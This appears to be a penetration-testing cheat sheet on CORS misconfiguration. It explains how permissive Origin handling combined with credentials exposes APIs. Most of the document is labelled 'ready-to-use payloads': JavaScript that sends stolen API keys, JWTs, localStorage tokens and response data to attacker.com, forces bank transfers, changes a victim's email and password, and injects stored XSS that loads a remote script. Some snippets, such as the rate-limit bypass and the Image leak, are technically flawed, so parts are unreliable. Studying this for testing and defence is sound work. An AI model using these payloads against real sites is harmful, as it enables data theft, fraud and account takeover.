CORS Misconfiguration

This issue is a CORS (Cross-Origin Resource Sharing) misconfiguration, which happens when a web server improperly allows requests from any external origin.

In this case, the API did not validate the Origin header and had Access-Control-Allow-Credentials: true, which means that an attacker could create a malicious website that sends requests to the API using the victim’s logged-in session. This could lead to unauthorized actions being performed on behalf of the victim, such as stealing data or making unwanted account changes.

How CORS Misconfiguration Works

The Misconfiguration

  • If an API incorrectly allows any Origin (Access-Control-Allow-Origin: * or reflects any Origin), it becomes vulnerable.
  • If Access-Control-Allow-Credentials: true is set, the browser includes the user’s cookies, session tokens, or authentication headers in cross-origin requests.

** How Attackers Exploit It**

  1. Victim logs into a website (e.g., bank.com)
  2. Victim visits attacker’s site (evil.com)
  3. Attacker’s site makes a hidden request to bank.com using JavaScript.
  4. Since bank.com has a CORS misconfiguration, the browser sends the victim's session with the request.
  5. The API executes the request as if the victim made it, exposing data or performing actions.

Example (Stealing User Data) A vulnerable API endpoint

GET https://bank.com/api/user-info

Response headers

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Attacker’s JavaScript on evil.com

fetch("https://bank.com/api/user-info", {
method: "GET",
credentials: "include"
})
.then(response => response.text())
.then(data => {
fetch("https://attacker.com/steal", {
method: "POST",
body: data
});
});

The victim's personal data is stolen and sent to the attacker's server.

Exploiting CORS Misconfiguration

If an API is vulnerable to CORS misconfiguration with Access-Control-Allow-Credentials: true, an attacker can perform various attacks by making cross-origin requests on behalf of the victim. Below are different types of attacks with ready-to-use payloads for exploitation.

Stealing Private API Keys / Sensitive Data

Vulnerable Implementation A request to the API returns sensitive data when an arbitrary Origin is provided, and credentials are included. A request to the API returns sensitive data when an arbitrary Origin is provided, and credentials are included.

GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"private API key": "sk_live_123456"}

Payload (Steal API Key)

A JavaScript request is made to the API, and the response is sent to an attacker-controlled server.

var req = new XMLHttpRequest();
req.onload = function() {
fetch("https://attacker.com/log?key=" + encodeURIComponent(this.responseText), { method: "GET" });
};
req.open('GET', 'https://victim.example.com/endpoint', true);
req.withCredentials = true;
req.send();

Unauthorized Fund Transfer via API

An API that handles financial transactions allows requests from any origin, leading to unauthorized transactions.

POST /transfer HTTP/1.1
Host: bank.example.com
Origin: https://evil.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

Payload (Force Money Transfer) A malicious script executes a fund transfer request using the victim’s credentials.

fetch("https://bank.example.com/api/transfer", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ to: "attacker", amount: 10000 })
});

Money is transferred from the victim’s account to the attacker.

Account Takeover (Change Email & Reset Password)

The API allows email changes without additional verification, making account takeover possible.

POST /update-email HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

Payload (Change Victim's Email) The attacker modifies the victim’s email address to one they control.

fetch("https://victim.example.com/api/update-email", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ email: "[email protected]" })
});

The attacker changes the victim’s email, allowing full account takeover via password reset.

Extract CSRF Token & Bypass CSRF Protection

The API exposes CSRF tokens without proper restrictions, enabling attackers to steal them.

GET /get-csrf-token HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"csrf_token": "123abc"}

Payload (Steal CSRF Token & Use it) An attacker extracts the CSRF token and uses it to perform an unauthorized action.

fetch("https://victim.example.com/api/get-csrf-token", {
method: "GET",
credentials: "include"
})
.then(response => response.text())
.then(csrfToken => {
fetch("https://victim.example.com/api/change-password", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json", "X-CSRF-Token": csrfToken },
body: JSON.stringify({ new_password: "hacked123" })
});
});

The victim's CSRF token is stolen and used to change their password.

Extract JWT Tokens for Full Authentication Hijack

The API returns authentication tokens that can be used to take over accounts.

GET /get-token HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"}

Payload (Steal JWT Token) An attacker intercepts the authentication token and uses it to log in as the victim.

fetch("https://victim.example.com/api/get-token", {
method: "GET",
credentials: "include"
})
.then(response => response.json())
.then(data => {
fetch("https://attacker.com/log", {
method: "POST",
body: JSON.stringify({ token: data.token })
});
});

The JWT token is stolen, allowing the attacker to authenticate as the victim

Rate-Limiting Bypass with CORS Abuse

Vulnerable API (Rate-Limited Requests) An API enforces rate limits based on IP but does not block cross-origin abuse.

POST /withdraw HTTP/1.1
Host: bank.example.com
Origin: https://evil.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

Payload (Flood API from Different Origins) An attacker bypasses rate limits by sending requests from multiple origins.

for (let i = 0; i < 1000; i++) {
fetch("https://bank.example.com/api/withdraw", {
method: "POST",
credentials: "include",
headers: { "Origin": "https://bypass-limit.com" },
body: JSON.stringify({ amount: 100 })
});
}

Multiple withdrawal requests are sent, bypassing rate limits.

Persistent XSS Injection via API with CORS

An API allows profile updates without sanitizing inputs, leading to stored XSS.

POST /update-profile HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

Payload (Inject XSS into Profile) A malicious script is injected into the victim’s profile.

fetch("https://victim.example.com/api/update-profile", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ bio: "<script src='https://attacker.com/payload.js'></script>" })
});

When the victim or an admin visits the profile, the injected XSS script executes

Extract API Key via Null Origin & Iframe

Payload: Using data: URI Scheme The following exploit steals sensitive API responses using an iframe:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = function() {
location='https://attacker.com/log?key='+encodeURIComponent(this.responseText);
};
req.open('GET','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();
</script>
"></iframe>

Unauthorized API Actions via JavaScript Popup

Payload: Using window.open() By opening the target in a new window, an attacker can force API actions.

var win = window.open("https://victim.example.com/endpoint", "nullOriginWindow");
setTimeout(() => {
win.postMessage("exploit", "*");
}, 2000);

Bypassing Content Security Policy (CSP) Using WebView

Payload: Injecting Exploit via Electron/Hybrid Apps If a mobile/web app whitelists "null" as an origin, an attacker can inject an exploit in WebViews.

<script>
document.write('<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script> var x = new XMLHttpRequest(); x.onload = function() { fetch("https://attacker.com/log", { method: "POST", body: x.responseText }); }; x.open("GET", "https://victim.example.com/endpoint", true); x.withCredentials = true; x.send(); </script>"></iframe>');
</script>

Persistent Data Theft via LocalStorage & Null Origin

Payload: Extracting LocalStorage Data If the application stores tokens or session data in LocalStorage, it can be stolen via null origin iframe

<iframe sandbox="allow-scripts" src="data:text/html, <script>
var token = localStorage.getItem('authToken');
if (token) {
fetch('https://attacker.com/steal?token=' + encodeURIComponent(token));
}
</script>"></iframe>

Full Account Takeover via null Origin CORS & CSRF Bypass

Payload: Change Victim’s Email If the API allows cross-origin requests with Access-Control-Allow-Credentials: true, an attacker can force the victim’s account email to be changed

<iframe sandbox="allow-scripts allow-forms" src="data:text/html, <script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://victim.example.com/api/update-email', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ email: '[email protected]' }));
</script>"></iframe>

Exploit XSS on Trusted Origin to Bypass CORS

fetch("https://trusted-origin.example.com/?xss=<script>var x=new XMLHttpRequest();x.onload=function(){fetch('https://attacker.com/log?data='+encodeURIComponent(x.responseText));};x.open('GET','https://victim.example.com/endpoint',true);x.withCredentials=true;x.send();</script>");

Wildcard Origin Attack - Extract API Key

var req = new XMLHttpRequest();
req.onload = function() {
fetch('https://attacker.com/steal?data='+encodeURIComponent(this.responseText));
};
req.open('GET','https://api.internal.example.com/endpoint',true);
req.send();

Automated API Data Extraction via Fetch

fetch("https://api.internal.example.com/endpoint")
.then(response => response.text())
.then(data => fetch("https://attacker.com/log", { method: "POST", body: data }));

Injecting Exploit via WebSocket - CORS Bypass

var ws = new WebSocket('wss://victim.example.com/socket');
ws.onopen = function() {
ws.send('GET /endpoint HTTP/1.1');
};
ws.onmessage = function(event) {
fetch('https://attacker.com/log?data='+encodeURIComponent(event.data));
};

Exploiting CORS on JSONP Endpoint

var script = document.createElement('script');
script.src = "https://victim.example.com/api/jsonp?callback=stealData";
document.body.appendChild(script);
function stealData(response) {
fetch('https://attacker.com/steal?data='+encodeURIComponent(JSON.stringify(response)));
}

XHR with Referer Spoofing to Extract Data

var xhr = new XMLHttpRequest();
xhr.open("GET", "https://victim.example.com/endpoint", true);
xhr.setRequestHeader("Referer", "https://trusted-origin.example.com");
xhr.onload = function() {
fetch("https://attacker.com/log", { method: "POST", body: xhr.responseText });
};
xhr.send();

Abuse CORS in Mobile WebView

fetch("https://victim.example.com/endpoint", { credentials: "include" })
.then(res => res.text())
.then(data => fetch("https://attacker.com/steal", { method: "POST", body: data }));

Hidden Image Request to Leak API Data

new Image().src = "https://attacker.com/log?data=" + encodeURIComponent(fetch("https://victim.example.com/endpoint"));

Expanding the Origin in CORS Exploits

Vulnerable Implementation (Example 1) In this case, the server fails to properly validate the Origin header, allowing any prefix before example.com to be accepted. This is due to weak filtering logic on the backend.

Request:
GET /endpoint HTTP/1.1
Host: api.example.com
Origin: https://evilexample.com
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evilexample.com
Access-Control-Allow-Credentials: true
{"[private API key]"}

Proof of Concept (Example 1)

The following script needs to be executed from evilexample.com to exploit this misconfiguration:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://api.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//attacker.net/log?key='+this.responseText;
};

Vulnerable Implementation (Example 2)

Here, the server uses a flawed regular expression that does not properly escape the dot (.), leading to unauthorized access. Instead of correctly enforcing ^api.example.com$, the regex mistakenly allows any variation such as apiiexample.com.

Request:
GET /endpoint HTTP/1.1
Host: api.example.com
Origin: https://apiiexample.com
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://apiiexample.com
Access-Control-Allow-Credentials: true
{"[private API key]"}

Proof of Concept (Example 2)

To exploit this, the script must be executed from apiiexample.com:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://api.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//attacker.net/log?key='+this.responseText;
};

Write-ups

Labs

Reference